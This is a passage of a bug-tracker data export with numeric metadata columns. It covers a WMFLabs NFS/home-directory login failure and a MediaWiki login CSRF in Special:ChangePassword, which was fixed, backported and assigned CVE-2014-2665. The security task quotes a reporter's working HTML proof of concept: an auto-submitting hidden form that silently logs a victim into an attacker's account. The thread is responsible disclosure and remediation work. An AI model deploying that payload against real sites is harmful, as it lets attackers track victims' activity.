64 bytes from cvn-app3.eqiad.wmflabs (10.68.16.170): icmp_req=1 ttl=64 time=2.26
64 bytes from cvn-app3.eqiad.wmflabs (10.68.16.170): icmp_req=2 ttl=64 time=0.71
$ ssh cvn-app3
ssh: connect to host cvn-app3 port 22: Connection timed out
$ ssh cvn-app3.eqiad.wmflabsssh: connect to host cvn-app3.eqiad.wmflabs port 22: Connection timed out

--------------------------
**Version**: unspecified
**Severity**: major"
287782,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"The race condition has been prevented for new images (that is, attempts to mount a filesystem before it has been made available rw will now fail rather than mount readonly); subsequent puppet runs will try again.

This will prevent the fundamental issue (and the annoying caching that makes it hard to go away), but not for existing instances which will still require some manual manipulation.",,,1395865315,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-kc232afiuvpm5uk6upql,task_subcomment,,True,c3,1,True,,,-67,True,1.0,0.0,0.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,4.4,0.8,"The race condition has been prevented for new images (that is, attempts to mount a filesystem before it has been made available rw will now fail rather than mount readonly); subsequent puppet runs will try again.

This will prevent the fundamental issue (and the annoying caching that makes it hard to go away), but not for existing instances which will still require some manual manipulation."
287778,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"(In reply to Marc A. Pelletier from comment #3)
> The nature of the problem is known (the instance attempts to mount /home and
> /data/project before the NFS server has updated its ACLs for it, then caches
> the negative result for some time), but a proper fix hasn't been found yet.
> 
> I have some ideas on how to prevent this from happening that I will be
> trying today.
> 
> In the meantime, doing a reboot at least 10 minutes after the issue occurs
> then waiting at least another 20 minutes seem to be sufficient to let the
> ACL time out.

I've rebooted cvn-app3 shortly after I created it and it wasn't working, then I reported this bug.

I've rebooted it again yesterday, and again today just now. Still getting:

krinkle at KrinkleMac in ~ $ ssh cvn-app3.eqiad.wmflabs 
channel 0: open failed: connect failed: Connection timed out
ssh_exchange_identification: Connection closed by remote host


Could be unrelated, but it's also not showing any life signs in ganglia since and including during its creation:
http://ganglia.wmflabs.org/latest/?c=cvn&h=cvn-app3",,,1395452542,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kc232afiuvpm5uk6upql,task_subcomment,,True,c3,1,True,,,-67,True,1.0,0.0,0.0,0.0,1.5,1.5,1.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,2.0,0.0,6.5,7.5,0.0,0.0,0.0,1.0,0.0,4.5,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,3.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.5,0.0,1.0,0.0,0.0,0.0,11.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,13.5,1.0,3.0,1.5,0.0,0.0,0.0,0.5,1.0,0.5,1.5,0.0,5.0,7.5,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9765625,0.703125,"(In reply to Marc A. Pelletier from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I've rebooted cvn-app3 shortly after I created it and it wasn't working, then I reported this bug.

I've rebooted it again yesterday, and again today just now. Still getting:

krinkle at KrinkleMac in ~ $ ssh cvn-app3.eqiad.wmflabs 
channel 0: open failed: connect failed: Connection timed out
ssh_exchange_identification: Connection closed by remote host


Could be unrelated, but it's also not showing any life signs in ganglia since and including during its creation:
URL"
287776,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"The nature of the problem is known (the instance attempts to mount /home and /data/project before the NFS server has updated its ACLs for it, then caches the negative result for some time), but a proper fix hasn't been found yet.

I have some ideas on how to prevent this from happening that I will be trying today.

In the meantime, doing a reboot at least 10 minutes after the issue occurs then waiting at least another 20 minutes seem to be sufficient to let the ACL time out.",,,1395233623,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-kc232afiuvpm5uk6upql,task_subcomment,,True,c3,1,True,,,-68,True,1.5,0.0,0.0,1.0,0.5,3.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,6.5,13.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.5,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,12.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,3.0,5.0,2.0,1.0,10.5,0.0,0.0,0.0,0.0,4.5,0.0,2.0,0.0,2.5,13.5,2.0,0.0,0.0,0.0,2.5,0.0,1.0,1.5,0.0,4.0,0.0,2.0,0.0,3.8529411764705883,0.8529411764705882,"The nature of the problem is known (the instance attempts to mount /home and /data/project before the NFS server has updated its ACLs for it, then caches the negative result for some time), but a proper fix hasn't been found yet.

I have some ideas on how to prevent this from happening that I will be trying today.

In the meantime, doing a reboot at least 10 minutes after the issue occurs then waiting at least another 20 minutes seem to be sufficient to let the ACL time out."
287774,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"confirmed, had exact same issue today, with 2 newly created eqiad instances. the problem disappeared after rebooting the second one a second time (or so)",,,1395207082,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-kc232afiuvpm5uk6upql,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.3,0.9,"confirmed, had exact same issue today, with 2 newly created eqiad instances. the problem disappeared after rebooting the second one a second time (or so)"
287771,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"The pmtpa issue is an unrelated and soon-to-be-moot gluster failure.

The eqiad issue I've seen before, but don't know how to fix (other than by waiting and rebooting.)  Perhaps Coren will have time to debug this sometime soon...",,,1395205367,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-kc232afiuvpm5uk6upql,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,13.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,4.0,9.0,2.0,6.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.574074074074074,0.8333333333333334,"The pmtpa issue is an unrelated and soon-to-be-moot gluster failure.

The eqiad issue I've seen before, but don't know how to fix (other than by waiting and rebooting.)  Perhaps Coren will have time to debug this sometime soon..."
64497,Login csrf in Special:ChangePassword,"Gopinath (via codex.galleryproject.org) reported a login csrf on Special:ChangePassword. Confirmed this in master. Note with the PoC, the victim must have an existing _session cookie on the target wiki, otherwise the login fails.

Special:ChangePassword should use a login token.



>>>>

On Sun, Mar 9, 2014 at 12:16 PM, Bharat Mediratta <bharat@menalto.com> wrote:

Hi, Wikimedia folks - Gopinath is reporting a vulnerability in Mediawiki 1.22.3 which is running on codex.galleryproject.org - can you take a look at this and decide whether it's something you want to resolve in the Mediawiki codebase?

-Bharat



On Fri, Mar 7, 2014 at 10:14 PM, Gopinath <gopiengg@gmail.com> wrote:
Hi,
Through below CSRF Code user  can be logged into the attackers account, without knowledge of  user.So  attacker can track the  user activity.
User also wont know the attacker account password .Attacker can request password reset for his account and can get the value of  wpPassword parameter.

POC Code

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action=""http://codex.galleryproject.org/Special:ChangePassword"" method=""POST""> 
        <input type=""hidden"" name=""returnto"" value=""Main Page"" />
        <input type=""hidden"" name=""token"" value=""+\"" />
        <input type=""hidden"" name=""wpDomain"" value="""" />
        <input type=""hidden"" name=""wpName"" value=""Gopinath6"" />
        <input type=""hidden"" name=""wpNewPassword"" value=password1234 />
        <input type=""hidden"" name=""wpPassword"" value=7qbuqjjsme />
        <input type=""hidden"" name=""wpRetype"" value=password1234 />
</form>
</body>
</html>


Regards
Gopinath

--------------------------
**Version**: 1.23.0
**Severity**: normal",High,80.0,1394473620,1395970638.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_description,resolved,True,c3,1,True,False,True,-69,True,0.0,0.25,0.0,0.25,0.0,1.75,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.25,5.75,0.25,0.25,0.5,0.0,0.0,1.0,0.0,0.0,0.25,1.25,0.0,0.0,1.5,0.75,0.25,1.25,0.5,0.0,0.0,0.25,0.75,0.0,0.25,0.0,1.25,0.0,0.0,0.0,0.0,0.0,11.25,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.0,0.0,0.0,3.5,0.75,9.75,0.25,0.5,4.25,0.0,0.0,0.0,0.0,5.0,0.5,2.75,0.0,1.0,5.75,11.5,0.25,5.5,0.0,1.0,0.0,0.25,1.25,0.0,0.75,0.0,0.0,9.0,4.296511627906977,0.6191860465116279,"Gopinath (via codex.galleryproject.org) reported a login csrf on Special:ChangePassword. Confirmed this in master. Note with the PoC, the victim must have an existing _session cookie on the target wiki, otherwise the login fails.

Special:ChangePassword should use a login token.



QUOTE

On Sun, Mar 9, 2014 at 12:16 PM, Bharat Mediratta <bharat@menalto.com> wrote:

Hi, Wikimedia folks - Gopinath is reporting a vulnerability in Mediawiki 1.22.3 which is running on codex.galleryproject.org - can you take a look at this and decide whether it's something you want to resolve in the Mediawiki codebase?

-Bharat



On Fri, Mar 7, 2014 at 10:14 PM, Gopinath <gopiengg@gmail.com> wrote:
Hi,
Through below CSRF Code user  can be logged into the attackers account, without knowledge of  user.So  attacker can track the  user activity.
User also wont know the attacker account password .Attacker can request password reset for his account and can get the value of  wpPassword parameter.

POC Code

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action=""URL method=""POST""> 
        <input type=""hidden"" name=""returnto"" value=""Main Page"" />
        <input type=""hidden"" name=""token"" value=""+\"" />
        <input type=""hidden"" name=""wpDomain"" value="""" />
        <input type=""hidden"" name=""wpName"" value=""Gopinath6"" />
        <input type=""hidden"" name=""wpNewPassword"" value=password1234 />
        <input type=""hidden"" name=""wpPassword"" value=7qbuqjjsme />
        <input type=""hidden"" name=""wpRetype"" value=password1234 />
</form>
</body>
</html>


Regards
Gopinath

--------------------------
**Version**: 1.23.0
**Severity**: normal"
287399,Login csrf in Special:ChangePassword,"This was assigned CVE-2014-2665.

http://openwall.com/lists/oss-security/2014/04/01/7

The MITRE email also documents their understanding of ""Login CSRF"", which is good background if this issue pops up again.",,,1396385953,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-66,True,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,21.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,12.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.9117647058823529,"This was assigned CVE-2014-2665.

URL

The MITRE email also documents their understanding of ""Login CSRF"", which is good background if this issue pops up again."
287393,Login csrf in Special:ChangePassword,"Correction, Markus will release 1.19.15 tomorrow to fix the issue. Sorry about that.",,,1396370450,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9375,"Correction, Markus will release 1.19.15 tomorrow to fix the issue. Sorry about that."
287386,Login csrf in Special:ChangePassword,Markus just released 1.19.15 to fix the password reset issue.,,,1396369642,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7272727272727275,1.0,Markus just released 1.19.15 to fix the password reset issue.
287379,Login csrf in Special:ChangePassword,"For the records, https://www.mediawiki.org/w/index.php?title=Project:Support_desk#Session_Hijacking_error_after_Update_1.19.14_41441 lists an issue with the 1.19.14 tarball including the backport for this.",,,1396280156,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.333333333333333,0.8888888888888888,"For the records, URL lists an issue with the 1.19.14 tarball including the backport for this."
287370,Login csrf in Special:ChangePassword,"see http://www.gossamer-threads.com/lists/wiki/mediawiki-cvs/436923 (well, this is essential for _password_ comparison, perhaps not necessarily needed for token comparison, as already discussed elsewhere)",,,1395990732,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,19.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.62962962962963,0.8148148148148148,"see URL (well, this is essential for _password_ comparison, perhaps not necessarily needed for token comparison, as already discussed elsewhere)"
287361,Login csrf in Special:ChangePassword,"Comment on attachment 14787
Add CSRF token on Special:ChangePassword

The token compare function is _not_ running in constant time. As we have a function for token comparison, we should use it here.",,,1395989664,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,12.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.121951219512195,0.8292682926829268,"Comment on attachment 14787
Add CSRF token on Special:ChangePassword

The token compare function is _not_ running in constant time. As we have a function for token comparison, we should use it here."
287354,Login csrf in Special:ChangePassword,"Fix is released in MW 1.19.14, 1.21.8 and 1.22.5. WMF sites are patched.",,,1395970638,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9375,"Fix is released in MW 1.19.14, 1.21.8 and 1.22.5. WMF sites are patched."
287346,Login csrf in Special:ChangePassword,"Tested the 1.19 backport patch, and confirmed it fixes the vulnerability.",,,1395917195,,PHID-USER-ozio6hmebkfdrn7rqxr2,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.846153846153846,0.9230769230769231,"Tested the 1.19 backport patch, and confirmed it fixes the vulnerability."
287339,Login csrf in Special:ChangePassword,"Created attachment 14939
Backport to REL1_19

Considering Chris' new version of the backport for REL1_22. Tested password change. Still works.

**Attached**: {F13064}",,,1395913854,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,28.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.111111111111111,0.8333333333333334,"Created attachment 14939
Backport to REL1_19

Considering Chris' new version of the backport for REL1_22. Tested password change. Still works.

**Attached**: {F13064}"
287333,Login csrf in Special:ChangePassword,"Created attachment 14938
Backport to REL1_21

Backport similar to 14933, so Chris' changes are already considered. Changing passwords was tested. Please look for potentail security implications.

**Attached**: {F13063}",,,1395912470,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-66,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,9.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.511627906976744,0.813953488372093,"Created attachment 14938
Backport to REL1_21

Backport similar to 14933, so Chris' changes are already considered. Changing passwords was tested. Please look for potentail security implications.

**Attached**: {F13063}"
287327,Login csrf in Special:ChangePassword,"Created attachment 14933
Backport to REL1_22

I hit a couple issues when testing your patch. I think this is a slightly better way to do it.

**Attached**: {F13062}",,,1395881785,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-66,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,2.0,18.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,2.0,5.0,0.0,2.0,2.0,0.0,0.0,3.5,0.8,"Created attachment 14933
Backport to REL1_22

I hit a couple issues when testing your patch. I think this is a slightly better way to do it.

**Attached**: {F13062}"
287323,Login csrf in Special:ChangePassword,"Created attachment 14927
Backport to REL1_22

Backported to the best of my knowledge. Special:ChangePassword tested. Can't reproduce the attack, so someone with a deeper understanding of this vulnerability should look at it and confirm it fixes the security issue.

//attachment bug62497-122.patch ignored as obsolete//",,,1395875704,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-67,True,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,13.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,13.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,5.166666666666667,0.8518518518518519,"Created attachment 14927
Backport to REL1_22

Backported to the best of my knowledge. Special:ChangePassword tested. Can't reproduce the attack, so someone with a deeper understanding of this vulnerability should look at it and confirm it fixes the security issue.

//attachment bug62497-122.patch ignored as obsolete//"
287318,Login csrf in Special:ChangePassword,Not yet. I'll request one as soon as we make it public.,,,1395872129,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-67,True,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,13.0,0.0,27.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.933333333333333,0.8666666666666667,Not yet. I'll request one as soon as we make it public.
287313,Login csrf in Special:ChangePassword,Do we already have a CVE for this bug?,,,1395871576,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,False,,,-67,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Do we already have a CVE for this bug?
